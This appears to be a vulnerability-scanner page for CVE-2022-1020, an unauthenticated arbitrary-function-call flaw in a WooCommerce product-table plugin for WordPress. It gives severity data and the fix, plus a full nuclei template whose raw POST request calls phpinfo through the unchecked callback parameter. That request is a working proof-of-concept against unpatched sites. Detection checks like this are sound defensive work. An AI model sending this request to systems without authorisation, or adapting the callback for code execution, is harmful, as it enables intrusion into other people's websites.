WordPress WooCommerce <3.1.2 - Arbitrary Function Call

criticalseverity

9.8CVSS score

25.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.

Impact

It allows remote code execution on the affected system.

Fix

Update WordPress WooCommerce plugin to version 3.1.2 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1020 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1020

info:
  name: WordPress WooCommerce <3.1.2 - Arbitrary Function Call
  author: Akincibor
  severity: critical
  description: WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.
  impact: |
    It allows remote code execution on the affected system.
  remediation: |
    Update WordPress WooCommerce plugin to version 3.1.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/04fe89b3-8ad1-482f-a96d-759d1d3a0dd5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1020
    cwe-id: CWE-352
    epss-score: 0.25937
    epss-percentile: 0.97994
    cpe: cpe:2.3:a:codeastrology:woo_product_table:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: codeastrology
    product: woo_product_table
    framework: wordpress
  tags: cve,cve2022,wpscan,wp,wp-plugin,wordpress,unauth,codeastrology,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_key=a&perpose=update&callback=phpinfo

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from